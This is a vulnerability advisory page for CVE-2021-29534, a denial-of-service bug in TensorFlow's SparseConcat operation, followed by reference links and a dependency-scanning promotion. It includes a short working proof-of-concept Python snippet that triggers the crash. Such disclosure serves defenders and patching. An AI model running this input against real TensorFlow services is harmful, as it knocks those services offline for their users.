CVE-2021-29534: CHECK-fail in SparseConcat
(updated )
An attacker can trigger a denial of service via a CHECK
-fail in tf.raw_ops.SparseConcat
:
import tensorflow as tf
import numpy as np
indices_1 = tf.constant([[514, 514], [514, 514]], dtype=tf.int64)
indices_2 = tf.constant([[514, 530], [599, 877]], dtype=tf.int64)
indices = [indices_1, indices_2]
values_1 = tf.zeros([0], dtype=tf.int64)
values_2 = tf.zeros([0], dtype=tf.int64)
values = [values_1, values_2]
shape_1 = tf.constant([442, 514, 514, 515, 606, 347, 943, 61, 2], dtype=tf.int64)
shape_2 = tf.zeros([9], dtype=tf.int64)
shapes = [shape_1, shape_2]
tf.raw_ops.SparseConcat(indices=indices, values=values, shapes=shapes, concat_dim=2)
References
- github.com/advisories/GHSA-6j9c-grc6-5m6g
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-462.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-660.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-171.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c
- github.com/tensorflow/tensorflow/security/advisories/GHSA-6j9c-grc6-5m6g
- nvd.nist.gov/vuln/detail/CVE-2021-29534
Detect and mitigate CVE-2021-29534 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →